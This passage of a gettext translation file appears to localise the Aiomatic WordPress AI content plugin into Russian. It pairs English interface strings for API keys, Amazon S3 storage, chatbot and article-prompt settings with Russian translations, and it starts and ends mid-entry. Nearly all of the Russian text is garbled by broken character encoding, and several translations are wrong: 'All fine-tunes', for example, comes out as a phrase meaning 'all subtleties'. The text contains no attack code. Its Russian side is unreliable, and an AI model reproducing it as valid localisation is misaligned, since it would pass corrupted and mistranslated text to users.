AI Product Writer" msgstr "Aiomatic-AI Создатель Продукта " #: res/aiomatic-more.php:46 msgid "" "Aiomatic allows developers to customize the prompts sent to the AI models " "and also the responses returned by the AI, before they are processed in the " "plugin, allowing high customizability of the AI and its results." msgstr "" "Aiomatic позволÑет разработчикам наÑтраивать Промпты, отправлÑемые моделÑм " "ИИ, а также ответы, возвращаемые AI , прежде чем они будут обработаны в " "плагине, что обеÑпечивает широкие возможноÑти наÑтройки AI и его " "результатов." #: res/aiomatic-playground.php:29 msgid "Aiomatic Chat" msgstr "Ðйоматик чат" #: aiomatic-automatic-ai-content-writer.php:1611 msgid "Aiomatic Cron" msgstr "Ðйоматик Крон" #: aiomatic-automatic-ai-content-writer.php:1599 msgid "Aiomatic Cron 10 Minute" msgstr "Aiomatic Cron 10 Минут" #: aiomatic-automatic-ai-content-writer.php:1607 msgid "Aiomatic Cron Half Hour" msgstr "Aiomatic Cron ПолчаÑа" #: aiomatic-automatic-ai-content-writer.php:1603 msgid "Aiomatic Cron Quarter Hour" msgstr " Aiomatic Cron Четверть чаÑа" #: res/aiomatic-embeddings.php:29 msgid "Aiomatic Embeddings" msgstr "Aiomatic Ð’ÑтраиваниÑ" #: res/aiomatic-main.php:4548 msgid "Aiomatic Extension: Amazon S3 Storage" msgstr "РаÑширение Aiomatic: Хранилище Amazon S3" #: aiomatic-automatic-ai-content-writer.php:1371 msgid "Aiomatic Extensions" msgstr "Aiomatic РаÑширениÑ" #: res/aiomatic-images.php:15 res/aiomatic-images.php:19 msgid "Aiomatic Images" msgstr "Ð˜Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Aiomatic" #: res/aiomatic-main.php:1566 #| msgid "" #| "Aiomatic is a comprehensive WordPress plugin that leverages the " #| "capabilities of artificial intelligence to create content, chatbots, " #| "images, audio, and more. This all-in-one AI suite includes features such " #| "as Custom ChatGPT, Content Creator, Automatic Content Generator, AI " #| "Assistant, AI Forms, Image Creator, Audio Converter, SEO enhancer, AI " #| "Training, Embeddings, and more, all powered by GPT-3, GPT-3.5 and GPT-4." msgid "" "Aiomatic is a comprehensive WordPress plugin that leverages the capabilities " "of artificial intelligence to create content, chatbots, images, audio, and " "more. This all-in-one AI suite includes features such as Custom ChatGPT, " "Content Creator, Automatic Content Generator, Content Wizard, AI Forms, " "Image Creator, Audio Converter, SEO enhancer, AI Training, Embeddings, and " "more, all powered by GPT-3, GPT-3.5 and GPT-4." msgstr "" "Aiomatic — Ñто вÑеобъемлющий Плагин WordPress, который иÑпользует " "возможноÑти иÑкуÑÑтвенного интеллекта Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐšÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð°, чат-ботов, " "изображений, аудио и многого другого. Этот комплекÑный набор AI включает в " "ÑÐµÐ±Ñ Ñ‚Ð°ÐºÐ¸Ðµ функции, как ПользовательÑкий ChatGPT, Создатель контента, " "ÐвтоматичеÑкий Генератор Контента, МаÑтер контента, Формы AI, Создатель " "Изображений, Конвертер Ðудио, УÑилитель SEO, Обучение иÑкуÑÑтвенному " "интеллекту, Ð’Ñтраивание и многое другое — вÑе на базе GPT-3, GPT-3.5 и GPT-4." #: res/aiomatic-main.php:1553 msgid "" "Aiomatic is a powerful tool that can help you generate high-quality, AI-" "created content for your WordPress site. Whether you're a blogger, marketer, " "or simply looking to automate your content creation process, Aiomatic has " "everything you need to get started." msgstr "" "Aiomatic — Ñто мощный инÑтрумент, который может помочь вам Ñоздавать " "выÑококачеÑтвенный Контент, Ñозданный AI, Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ Ñайта WordPress. " "ЯвлÑетеÑÑŒ ли вы блогером, маркетологом или проÑто хотите автоматизировать " "процеÑÑ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐšÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð°, в Aiomatic еÑÑ‚ÑŒ вÑе, что вам нужно Ð´Ð»Ñ Ð½Ð°Ñ‡Ð°Ð»Ð° " "работы." #: res/aiomatic-playground.php:15 msgid "Aiomatic Playground" msgstr "Aiomatic Playground" #: res/aiomatic-shortcodes.php:96 msgid "Aiomatic Shortcodes & Forms" msgstr "Шорткоды и Формы Aiomatic" #: res/aiomatic-more.php:28 msgid "" "Aiomatic takes your media library to new heights with the AI Media Library " "Extension. With Extension 1, you can automatically generate alt text, " "captions, and descriptions for your images, saving you valuable time and " "effort. Extension 2 brings even more power by suggesting relevant tags and " "keywords for your media files, ensuring optimal search engine optimization " "and discoverability." msgstr "" "Aiomatic выводит вашу Медиатеку на новый уровень Ñ Ñ€Ð°Ñширением AI Media " "Library. С раÑширением 1 вы можете автоматичеÑки генерировать замещающий " "текÑÑ‚, подпиÑи и опиÑÐ°Ð½Ð¸Ñ Ð´Ð»Ñ Ð²Ð°ÑˆÐ¸Ñ… изображений, ÑÐºÐ¾Ð½Ð¾Ð¼Ñ Ð²Ð°ÑˆÐµ драгоценное " "Ð²Ñ€ÐµÐ¼Ñ Ð¸ уÑилиÑ. РаÑширение 2 дает еще больше возможноÑтей, Ð¿Ñ€ÐµÐ´Ð»Ð°Ð³Ð°Ñ " "релевантные теги и ключевые Ñлова Ð´Ð»Ñ Ð²Ð°ÑˆÐ¸Ñ… Медиафайлов, обеÑÐ¿ÐµÑ‡Ð¸Ð²Ð°Ñ " "оптимальную поиÑковую оптимизацию и возможноÑÑ‚ÑŒ обнаружениÑ." #: res/aiomatic-logs.php:335 msgid "" "Aiomatic uses this library to resize images and speed up your site's loading " "time" msgstr "" "Aiomatic иÑпользует Ñту библиотеку Ð´Ð»Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ñ€Ð°Ð·Ð¼ÐµÑ€Ð° изображений и " "уÑÐºÐ¾Ñ€ÐµÐ½Ð¸Ñ Ð·Ð°Ð³Ñ€ÑƒÐ·ÐºÐ¸ вашего Ñайта." #: res/aiomatic-main.php:4142 msgid "Aiomatic WP-CLI Tutorial Video:" msgstr "Обучающее видео по Aiomatic WP-CLI:" #: res/aiomatic-main.php:1614 msgid "Aiomatic's Support Page" msgstr "Страница поддержки Aiomatic" #: res/aiomatic-amazon-list.php:10 res/aiomatic-review-list.php:10 #: res/aiomatic-rules-list.php:10 res/aiomatic-single-list.php:10 #: res/aiomatic-single-list.php:148 res/aiomatic-youtube-list.php:10 msgid "Albanian" msgstr "албанÑкий" #: res/aiomatic-languages.php:6 msgid "Albanian (Google Translate)" msgstr "ÐлбанÑкий (переводчик Google)" #: res/aiomatic-main.php:8274 res/aiomatic-main.php:8334 #: res/aiomatic-main.php:8755 res/aiomatic-main.php:8791 #: res/aiomatic-main.php:8853 msgid "All" msgstr "Ð’Ñе" #: res/aiomatic-assistants.php:157 msgid "All assistants" msgstr "Ð’Ñе ÐÑÑиÑтенты" #: res/aiomatic-embeddings.php:93 msgid "All embeddings" msgstr "Ð’Ñе вÑтраиваниÑ" #: res/aiomatic-training.php:418 msgid "All files" msgstr "Ð’Ñе файлы" #: res/aiomatic-training.php:500 msgid "All fine-tunes" msgstr "Ð’Ñе тонкоÑти" #: res/aiomatic-shortcodes.php:503 msgid "All forms" msgstr "Ð’Ñе Формы" #: res/aiomatic-automation-list.php:2229 msgid "All OmniBlock Files" msgstr "Ð’Ñе файлы OmniBlock" #: res/aiomatic-automation-list.php:2345 msgid "All OmniBlock Templates" msgstr "Ð’Ñе шаблоны OmniBlock" #: res/aiomatic-chatbot.php:2289 msgid "All personas" msgstr "Ð’Ñе перÑонажи" #: aiomatic-automatic-ai-content-writer.php:15395 msgid "All Post Sources" msgstr "Ð’Ñе иÑточники ПоÑтов" #: res/aiomatic-main.php:8100 msgid "All Rights Reserved" msgstr "Ð’Ñе права защищены" #: res/image-seo/seo-panel.php:33 msgid "Alt Text" msgstr "Alt ТекÑÑ‚" #: res/aiomatic-main.php:2044 msgid "Alternative AI Image Generator API Settings:" msgstr "Ðльтернативные наÑтройки API генератора изображений AI:" #: res/image-seo/seo-panel.php:86 msgid "Alternative Text" msgstr "Ðльтернативный текÑÑ‚ (Alt)" #: aiomatic-automation.php:412 aiomatic-automation.php:443 msgid "Amazon Associate ID" msgstr "Идентификатор Партнера Amazon" #: res/aiomatic-amazon-list.php:2989 res/aiomatic-review-list.php:3066 msgid "Amazon Associate ID (Optional)" msgstr "Amazon Associate ID (Опционалльно)" #: res/aiomatic-amazon-list.php:394 res/aiomatic-review-list.php:394 #: res/aiomatic-single-list.php:4602 res/aiomatic-single-list.php:5899 msgid "Amazon Associate ID (Optional):" msgstr "Amazon Associate ID (Опционалльно):" #: res/aiomatic-main.php:4585 msgid "Amazon Bucket Name:" msgstr "Ð˜Ð¼Ñ Ð¥Ñ€Ð°Ð½Ð¸Ð»Ð¸Ñ‰Ð° Amazon:" #: res/aiomatic-main.php:4601 msgid "Amazon Bucket Region:" msgstr "Регион Хранилища Amazon:" #: aiomatic-automation.php:396 msgid "Amazon Product Details" msgstr "ПодробноÑти о продукте Amazon" #: aiomatic-automation.php:427 msgid "Amazon Product Listing" msgstr "СпиÑок продуктов Amazon" #: aiomatic-automatic-ai-content-writer.php:1328 #: res/aiomatic-single-list.php:965 res/aiomatic-single-list.php:5839 msgid "Amazon Product Review" msgstr "Обзор продукта Amazon" #: res/aiomatic-review-list.php:165 msgid "Amazon Product Reviews Tutorial" msgstr "Учебное поÑобие по обзорам продуктов Amazon" #: aiomatic-automatic-ai-content-writer.php:1325 #: res/aiomatic-single-list.php:964 res/aiomatic-single-list.php:4542 msgid "Amazon Product Roundup" msgstr "Обзор продуктов Amazon" #: res/aiomatic-amazon-list.php:165 msgid "Amazon Product Roundup Tutorial" msgstr "Учебное поÑобие по Обзору Продуктов Amazon" #: res/aiomatic-review-list.php:1689 res/aiomatic-review-list.php:4333 msgid "Amazon Product Thumbnail" msgstr "Миниатюра продукта Amazon" #: res/aiomatic-main.php:4636 msgid "Amazon S3 API Key:" msgstr "Ключ API Amazon S3:" #: res/aiomatic-main.php:4652 msgid "Amazon S3 API Secret:" msgstr "Секрет API Amazon S3:" #: res/aiomatic-main.php:4569 msgid "Amazon S3 Directory:" msgstr "Каталог Amazon S3:" #: res/aiomatic-main.php:4556 msgid "Amazon S3 Settings:" msgstr "ÐаÑтройки Amazon S3:" #: aiomatic-helpers.php:388 msgid "Amazon S3 Storage For Images" msgstr "Хранилище Amazon S3 Ð´Ð»Ñ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ð¹" #: res/aiomatic-main.php:4911 msgid "Amazon S3 Tutorial Video:" msgstr "Учебное видео по Amazon S3:" #: res/aiomatic-amazon-list.php:382 res/aiomatic-amazon-list.php:2983 #: res/aiomatic-review-list.php:382 res/aiomatic-review-list.php:3060 #: res/aiomatic-single-list.php:4590 res/aiomatic-single-list.php:5887 msgid "Amazon Search Options" msgstr "Параметры ПоиÑка Ðмазон" #: aiomatic-automation.php:419 aiomatic-automation.php:450 #: res/aiomatic-amazon-list.php:3000 res/aiomatic-review-list.php:3077 msgid "Amazon Target Country" msgstr "Amazon Ð¦ÐµÐ»ÐµÐ²Ð°Ñ Ð¡Ñ‚Ñ€Ð°Ð½Ð°" #: res/aiomatic-amazon-list.php:410 res/aiomatic-review-list.php:410 #: res/aiomatic-single-list.php:4618 res/aiomatic-single-list.php:5915 msgid "Amazon Target Country:" msgstr "Amazon Ð¦ÐµÐ»ÐµÐ²Ð°Ñ Ð¡Ñ‚Ñ€Ð°Ð½Ð°:" #: res/aiomatic-amazon-list.php:12 res/aiomatic-review-list.php:12 #: res/aiomatic-rules-list.php:12 res/aiomatic-single-list.php:12 #: res/aiomatic-single-list.php:150 res/aiomatic-youtube-list.php:12 msgid "Amharic" msgstr "ÐмхарÑкий" #: res/aiomatic-languages.php:8 msgid "Amharic (Google Translate)" msgstr "ÐмхарÑкий (переводчик Google)" #: res/aiomatic-amazon-list.php:1563 res/aiomatic-amazon-list.php:4122 #: res/aiomatic-chatbot.php:1003 res/aiomatic-chatbot.php:4452 #: res/aiomatic-main.php:3301 res/aiomatic-main.php:5690 #: res/aiomatic-review-list.php:1632 res/aiomatic-review-list.php:4275 #: res/aiomatic-rules-list.php:1765 res/aiomatic-rules-list.php:4523 #: res/aiomatic-single-list.php:2249 res/aiomatic-single-list.php:2999 #: res/aiomatic-single-list.php:4252 res/aiomatic-single-list.php:5566 #: res/aiomatic-single-list.php:6932 res/aiomatic-spinner-list.php:1171 #: res/aiomatic-spinner-list.php:1819 res/aiomatic-youtube-list.php:1519 #: res/aiomatic-youtube-list.php:4033 msgid "" "An alternative to sampling with temperature, called nucleus sampling, where " "the model considers the results of the tokens with top_p probability mass. " "So 0.1 means only the tokens comprising the top 10% probability mass are " "considered. We generally recommend altering this or temperature but not both." msgstr "" "Ðльтернатива выборке Ñ Ñ‚ÐµÐ¼Ð¿ÐµÑ€Ð°Ñ‚ÑƒÑ€Ð¾Ð¹, Ð½Ð°Ð·Ñ‹Ð²Ð°ÐµÐ¼Ð°Ñ Ð²Ñ‹Ð±Ð¾Ñ€ÐºÐ¾Ð¹ Ñдра, где модель " "раÑÑматривает результаты токенов Ñ Ð²ÐµÑ€Ð¾ÑтноÑтной маÑÑой top_p. Таким образом," " значение 0,1 означает, что учитываютÑÑ Ñ‚Ð¾Ð»ÑŒÐºÐ¾ токены, ÑоÑтавлÑющие 10% " "pвероÑтноÑтных маÑÑ. Как правило, мы рекомендуем изменить Ñто или " "температуру, но не то и другое одновременно." #: aiomatic-automatic-ai-content-writer.php:1670 #: aiomatic-automatic-ai-content-writer.php:1696 msgid "An error occurred, please try again later!" msgstr "Произошла ошибка. ПожалуйÑта, повторите попытку позже!" #: res/aiomatic-amazon-list.php:2401 res/aiomatic-automation-list.php:4963 #: res/aiomatic-csv-list.php:948 res/aiomatic-review-list.php:2470 #: res/aiomatic-rules-list.php:2598 res/aiomatic-youtube-list.php:2372 msgid "An Error Occurred." msgstr "Произошла ошибка" #: aiomatic-ajax-actions.php:5234 msgid "An internal error occurred, please try again later!" msgstr "Произошла внутреннÑÑ Ð¾ÑˆÐ¸Ð±ÐºÐ°. Повторите попытку позже!" #: aiomatic-automatic-ai-content-writer.php:1669 msgid "An internal error was encountered, please try again later!" msgstr "Произошла внутреннÑÑ Ð¾ÑˆÐ¸Ð±ÐºÐ°, повторите попытку позже!" #: res/aiomatic-main.php:2761 msgid "analog-film" msgstr "Ð°Ð½Ð°Ð»Ð¾Ð³Ð¾Ð²Ð°Ñ Ð¿Ð»ÐµÐ½ÐºÐ°" #: res/aiomatic-main.php:1576 msgid "and create your API key." msgstr "и Ñоздайте Ñвой ключ API." #: res/aiomatic-spinner-list.php:900 msgid "" "And that's it! Your Aiomatic plugin is now set up to automatically edit your " "posts using AI. Remember, you can always go back and change these settings " "if you find that the automatic editing isn't working quite how you want it " "to." msgstr "" "Вот и вÑе! Теперь ваш Плагин Aiomatic наÑтроен на автоматичеÑкое " "редактирование ваших ПоÑтов Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ AI. Помните, что вы вÑегда можете " "вернутьÑÑ Ð¸ изменить Ñти ÐаÑтройки, еÑли обнаружите, что автоматичеÑкое " "редактирование работает не ÑовÑем так, как вы хотите." #: res/aiomatic-main.php:8389 res/aiomatic-main.php:8908 msgid "Animals" msgstr "Животные" #: res/aiomatic-main.php:2766 msgid "anime" msgstr "аниме" #: res/aiomatic-main.php:1905 msgid "Anthropic API Settings" msgstr "ÐаÑтройки Anthropic API" #: res/aiomatic-embeddings.php:607 res/aiomatic-main.php:8523 #: res/aiomatic-main.php:8822 res/aiomatic-spinner-list.php:4659 msgid "Any" msgstr "Ð’Ñе" #: res/aiomatic-limits-statistics.php:1785 msgid "API Call Cost (USD)" msgstr "СтоимоÑÑ‚ÑŒ вызова API (долл. СШÐ)" #: res/aiomatic-limits-statistics.php:1785 msgid "API Call Count" msgstr "Счетчик вызовов API" #: res/aiomatic-main.php:2256 msgid "API CX Value (optional)" msgstr "Значение API CX (необÑзательно)" #: res/aiomatic-main.php:2097 msgid "API key" msgstr "API-ключ" #: res/aiomatic-main.php:2235 res/aiomatic-main.php:2392 msgid "API Key (optional)" msgstr "Ключ API (необÑзательно)" #: res/aiomatic-main.php:1560 msgid "" "API key into the plugin's settings (depending which service you choose). You " "can do this by going to the 'API keys' tab from above. In this tab you will " "find also some additional API keys to add, like" msgstr "" "Ключ API в наÑтройках Плагина (в завиÑимоÑти от того, какой ÑÐµÑ€Ð²Ð¸Ñ Ð²Ñ‹ " "выберете). Ð’Ñ‹ можете Ñделать Ñто, Ð¿ÐµÑ€ÐµÐ¹Ð´Ñ Ð½Ð° вкладку «Ключи API» Ñверху. Ðа " "Ñтой вкладке вы также найдете некоторые дополнительные ключи API Ð´Ð»Ñ " "добавлениÑ, например" #: res/aiomatic-main.php:1560 msgid "API key or" msgstr "API-ключ или" #: res/aiomatic-main.php:2117 res/aiomatic-main.php:2138 #: res/aiomatic-main.php:2162 res/aiomatic-main.php:2184 #: res/aiomatic-main.php:2207 msgid "API Key:" msgstr "Ключ API:" #: res/aiomatic-main.php:17 msgid "API Keys" msgstr "Ключи API" #: res/aiomatic-main.php:1848 msgid "API Keys (One Per Line) - *Required:" msgstr "Ключи API (по одному на Ñтроку) — *ОбÑзательно:" #: res/aiomatic-main.php:1917 res/aiomatic-main.php:1940 #: res/aiomatic-main.php:1963 res/aiomatic-main.php:1986 #: res/aiomatic-main.php:2056 msgid "API Keys (One Per Line):" msgstr "Ключи API (по одному на Ñтроку):" #: res/aiomatic-chatbot.php:629 msgid "API Parameters" msgstr "Параметры API" #: res/aiomatic-main.php:7674 msgid "API Requests Timeout" msgstr "Таймаут запроÑов API" #: res/aiomatic-main.php:7632 msgid "API retry max count" msgstr "МакÑимальное количеÑтво повторных попыток API" #: res/aiomatic-limits-statistics.php:1785 msgid "API Token Count" msgstr "КоличеÑтво токенов API" #: res/aiomatic-limits-statistics.php:1661 msgid "API usage for this user account: " msgstr "ИÑпользование API Ð´Ð»Ñ Ñтой учетной запиÑи пользователÑ:" #: res/other/plugin-dash.php:51 res/other/plugin-dash.php:156 msgid "Apparently, there are no updates to show!" msgstr "По-видимому, обновлений нет!" #: res/aiomatic-amazon-list.php:3737 res/aiomatic-review-list.php:3890 #: res/aiomatic-rules-list.php:4138 res/aiomatic-youtube-list.php:3648 msgid "Append Text To All Textual AI Prompts" msgstr "Добавить ТекÑÑ‚ ко вÑем ТекÑтовым Промптам AI" #: res/aiomatic-amazon-list.php:1202 res/aiomatic-review-list.php:1271 #: res/aiomatic-rules-list.php:1404 res/aiomatic-single-list.php:2108 #: res/aiomatic-single-list.php:2843 res/aiomatic-single-list.php:4096 #: res/aiomatic-single-list.php:5410 res/aiomatic-single-list.php:6776 #: res/aiomatic-youtube-list.php:1158 msgid "Append Text To All Textual AI Prompts:" msgstr "Добавить ТекÑÑ‚ ко вÑем ТекÑтовым Промптам AI:" #: res/aiomatic-main.php:6415 msgid "Append Text To Prompts For Content Completion:" msgstr "Добавить текÑÑ‚ к Промптам Ð´Ð»Ñ Ð·Ð°Ð²ÐµÑ€ÑˆÐµÐ½Ð¸Ñ ÐšÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð°:" #: res/aiomatic-spinner-list.php:1622 res/aiomatic-spinner-list.php:3714 msgid "Append To The End" msgstr "Добавить в конец" #: res/aiomatic-limits-statistics.php:172 #: res/aiomatic-limits-statistics.php:1569 msgid "Apply For Any Role" msgstr "Подать ЗаÑвку на Любую Роль" #: res/aiomatic-limits-statistics.php:215 #: res/aiomatic-limits-statistics.php:1610 msgid "Apply For Any Subscription" msgstr "Подать заÑвку на любую подпиÑку" #: res/aiomatic-amazon-list.php:3071 msgid "APrice:LowToHigh" msgstr "Цена: от низкой до выÑокой" #: res/aiomatic-amazon-list.php:11 res/aiomatic-review-list.php:11 #: res/aiomatic-rules-list.php:11 res/aiomatic-single-list.php:11 #: res/aiomatic-single-list.php:149 res/aiomatic-youtube-list.php:11 msgid "Arabic" msgstr "арабÑкий" #: res/aiomatic-languages.php:7 msgid "Arabic (Google Translate)" msgstr "ÐрабÑкий (переводчик Google)" #: res/aiomatic-logs.php:552 msgid "Are you sure you want to clear the running list?" msgstr "Ð’Ñ‹ уверены, что хотите очиÑтить текущий ÑпиÑок?" #: res/aiomatic-logs.php:586 msgid "" "Are you sure you want to delete all generated posts? This can take a while, " "please wait until it finishes." msgstr "" "Ð’Ñ‹ уверены, что хотите удалить вÑе Ñозданные ПоÑÑ‚Ñ‹? Это может занÑÑ‚ÑŒ " "некоторое времÑ, пожалуйÑта, подождите, пока оно не закончитÑÑ." #: res/aiomatic-logs.php:619 msgid "Are you sure you want to delete all logs?" msgstr "Ð’Ñ‹ уверены, что хотите удалить вÑе журналы?" #: res/aiomatic-logs.php:570 msgid "Are you sure you want to restore the default plugin settings?" msgstr "Ð’Ñ‹ уверены, что хотите воÑÑтановить ÐаÑтройки Плагина по умолчанию?" #: res/aiomatic-amazon-list.php:13 res/aiomatic-review-list.php:13 #: res/aiomatic-rules-list.php:13 res/aiomatic-single-list.php:13 #: res/aiomatic-single-list.php:151 res/aiomatic-youtube-list.php:13 msgid "Armenian" msgstr "ÐрмÑнÑкий" #: res/aiomatic-languages.php:9 msgid "Armenian (Google Translate)" msgstr "ÐрмÑнÑкий (переводчик Google)" #: res/aiomatic-review-list.php:3298 msgid "Article 'Customer Reviews Analysis' Section Header Text" msgstr "ТекÑÑ‚ заголовка раздела Ñтатьи «Ðнализ отзывов клиентов»" #: res/aiomatic-review-list.php:611 res/aiomatic-single-list.php:6116 msgid "Article 'Customer Reviews Analysis' Section Header Text:" msgstr "ТекÑÑ‚ заголовка раздела Ñтатьи «Ðнализ отзывов клиентов»:" #: res/aiomatic-review-list.php:3328 msgid "Article 'Pros & Cons' Section Header Text" msgstr "ТекÑÑ‚ заголовка раздела Ñтатьи «ПлюÑÑ‹ и минуÑы»" #: res/aiomatic-review-list.php:641 res/aiomatic-single-list.php:6146 msgid "Article 'Pros & Cons' Section Header Text:" msgstr "ТекÑÑ‚ заголовка раздела Ñтатьи «ПлюÑÑ‹ и минуÑы»:" #: res/aiomatic-amazon-list.php:3313 res/aiomatic-review-list.php:3358 msgid "Article 'Q&A' Section Header Text" msgstr "ТекÑÑ‚ Заголовка Раздела Статьи «ВопроÑÑ‹ и ответы»" #: res/aiomatic-amazon-list.php:684 res/aiomatic-review-list.php:671 #: res/aiomatic-single-list.php:4892 res/aiomatic-single-list.php:6176 msgid "Article 'Q&A' Section Header Text:" msgstr "ТекÑÑ‚ Заголовка Раздела Статьи «ВопроÑÑ‹ и ответы»:" #: res/aiomatic-amazon-list.php:3283 res/aiomatic-review-list.php:3268 msgid "Article 'Table Of Contents' Section Header Text" msgstr "ТекÑÑ‚ заголовка раздела Ñтатьи «Контент» " #: res/aiomatic-amazon-list.php:654 res/aiomatic-review-list.php:581 #: res/aiomatic-single-list.php:4862 res/aiomatic-single-list.php:6086 msgid "Article 'Table Of Contents' Section Header Text:" msgstr "ТекÑÑ‚ заголовка раздела Ñтатьи «Контент» :" #: res/aiomatic-review-list.php:3619 msgid "Article Customer Reviews Analysis Prompt" msgstr "Промпт на Ðнализ Отзывов клиентов Статьи" #: res/aiomatic-review-list.php:1006 res/aiomatic-single-list.php:6511 msgid "Article Customer Reviews Analysis Prompt:" msgstr "Промпт на Ðнализ Отзывов клиентов Статьи:" #: res/aiomatic-amazon-list.php:4213 res/aiomatic-review-list.php:4366 #: res/aiomatic-rules-list.php:4602 res/aiomatic-youtube-list.php:4124 #| msgid "AI Image Source" msgid "Article Image Source" msgstr "ИÑточник Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ñтатьи" #: res/aiomatic-amazon-list.php:1651 res/aiomatic-review-list.php:1720 #: res/aiomatic-rules-list.php:1849 res/aiomatic-single-list.php:2317 #: res/aiomatic-single-list.php:3067 res/aiomatic-single-list.php:4320 #: res/aiomatic-single-list.php:5634 res/aiomatic-single-list.php:7000 #: res/aiomatic-youtube-list.php:1607 msgid "Article Image Source:" msgstr "ИÑточник Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ñтатьи:" #: res/aiomatic-amazon-list.php:3423 res/aiomatic-review-list.php:3493 #: res/aiomatic-rules-list.php:3580 res/aiomatic-youtube-list.php:3317 msgid "Article Intro Prompt" msgstr "Промпт Ð´Ð»Ñ Ð’Ñтупительной ЧаÑти Статьи" #: res/aiomatic-amazon-list.php:898 res/aiomatic-review-list.php:892 #: res/aiomatic-rules-list.php:837 res/aiomatic-single-list.php:1790 #: res/aiomatic-single-list.php:3778 res/aiomatic-single-list.php:5106 #: res/aiomatic-single-list.php:6397 res/aiomatic-youtube-list.php:840 msgid "Article Intro Prompt:" msgstr "Промпт Ð´Ð»Ñ Ð’Ñтупительной ЧаÑти Статьи:" #: res/aiomatic-amazon-list.php:3549 res/aiomatic-review-list.php:3745 #: res/aiomatic-rules-list.php:3766 res/aiomatic-youtube-list.php:3503 msgid "Article Outro Prompt" msgstr "Промпты Заключительной ЧаÑти Статьи" #: res/aiomatic-amazon-list.php:1012 res/aiomatic-review-list.php:1120 #: res/aiomatic-rules-list.php:1004 res/aiomatic-single-list.php:1957 #: res/aiomatic-single-list.php:3945 res/aiomatic-single-list.php:5220 #: res/aiomatic-single-list.php:6625 res/aiomatic-youtube-list.php:1007 msgid "Article Outro Prompt:" msgstr "Промпты Заключительной ЧаÑти Статьи:" #: res/aiomatic-amazon-list.php:3253 res/aiomatic-review-list.php:3238 #: res/aiomatic-rules-list.php:3428 res/aiomatic-youtube-list.php:3165 msgid "Article Outro Section Header Text" msgstr "ТекÑÑ‚ Заголовка Раздела Заключительной ЧаÑти Статьи" #: res/aiomatic-amazon-list.php:622 res/aiomatic-review-list.php:549 #: res/aiomatic-rules-list.php:576 res/aiomatic-single-list.php:1529 #: res/aiomatic-single-list.php:3517 res/aiomatic-single-list.php:4830 #: res/aiomatic-single-list.php:6054 res/aiomatic-youtube-list.php:579 msgid "Article Outro Section Header Text:" msgstr "ТекÑÑ‚ Заголовка Раздела Заключительной ЧаÑти Статьи :" #: res/aiomatic-review-list.php:3661 msgid "Article Pros & Cons Prompt" msgstr "Промпт ПлюÑÑ‹ и минуÑÑ‹ Статьи" #: res/aiomatic-review-list.php:1044 res/aiomatic-single-list.php:6549 msgid "Article Pros & Cons Prompt:" msgstr "Промпт ПлюÑÑ‹ и минуÑÑ‹ Статьи:" #: res/aiomatic-amazon-list.php:3507 res/aiomatic-review-list.php:3703 #: res/aiomatic-rules-list.php:3724 res/aiomatic-youtube-list.php:3461 msgid "Article Q&A Prompt" msgstr "Промпты ВопроÑов и Ответов Статьи" #: res/aiomatic-amazon-list.php:974 res/aiomatic-review-list.php:1082 #: res/aiomatic-rules-list.php:966 res/aiomatic-single-list.php:1919 #: res/aiomatic-single-list.php:3907 res/aiomatic-single-list.php:5182 #: res/aiomatic-single-list.php:6587 res/aiomatic-youtube-list.php:969 msgid "Article Q&A Prompt:" msgstr "Промпты ВопроÑов и Ответов Статьи:" #: res/aiomatic-rules-list.php:3488 res/aiomatic-youtube-list.php:3225 msgid "Article Q&A Section Header Text" msgstr "ТекÑÑ‚ заголовка Раздела ВопроÑов и Ответов по Ñтатье" #: res/aiomatic-rules-list.php:638 res/aiomatic-single-list.php:1591 #: res/aiomatic-single-list.php:3579 res/aiomatic-youtube-list.php:641 msgid "Article Q&A Section Header Text:" msgstr "ТекÑÑ‚ Заголовка Раздела ВопроÑов и Ответов по Ñтатье:" #: res/aiomatic-review-list.php:3535 res/aiomatic-rules-list.php:3622 #: res/aiomatic-youtube-list.php:3359 msgid "Article Sections Prompt" msgstr "Разделы Ñтатьи Промпт" #: res/aiomatic-review-list.php:930 res/aiomatic-rules-list.php:875 #: res/aiomatic-single-list.php:1828 res/aiomatic-single-list.php:3816 #: res/aiomatic-single-list.php:6435 res/aiomatic-youtube-list.php:878 msgid "Article Sections Prompt:" msgstr "Промпты Ð´Ð»Ñ Ð Ð°Ð·Ð´ÐµÐ»Ð¾Ð² ПоÑта:" #: res/aiomatic-rules-list.php:3458 res/aiomatic-youtube-list.php:3195 msgid "Article Table Of Contents Section Header Text" msgstr "Таблица ТекÑтов Заголовоков Раздела ТекÑта Заголовоков" #: res/aiomatic-rules-list.php:608 res/aiomatic-single-list.php:1561 #: res/aiomatic-single-list.php:3549 res/aiomatic-youtube-list.php:611 msgid "Article Table Of Contents Section Header Text:" msgstr "ТекÑÑ‚ Заголовка Раздела Оглавление:" #: res/aiomatic-embeddings.php:629 res/aiomatic-spinner-list.php:4701 msgid "Ascendent" msgstr "воÑходÑщий" #: res/aiomatic-main.php:4617 res/aiomatic-main.php:4718 msgid "Asia Pacific 1 (Tokyo)" msgstr "ÐзиатÑко-ТихоокеанÑкий регион 1 (Токио)" #: res/aiomatic-main.php:4618 res/aiomatic-main.php:4719 msgid "Asia Pacific 2 (Sydney)" msgstr "ÐзиатÑко-ТихоокеанÑкий регион 2 (Сидней)" #: res/aiomatic-main.php:4619 res/aiomatic-main.php:4720 msgid "Asia Pacific 3 (Singapore)" msgstr "ÐзиатÑко-ТихоокеанÑкий регион 3 (Сингапур)" #: res/aiomatic-main.php:4721 msgid "Asia Pacific 4 (Osaka)" msgstr "ÐзиатÑко-ТихоокеанÑкий регион 4 (ОÑака)" #: res/aiomatic-main.php:4620 msgid "Asia Pacific 4 (Seoul)" msgstr "ÐзиатÑко-ТихоокеанÑкий регион 4 (Сеул)" #: res/aiomatic-main.php:4621 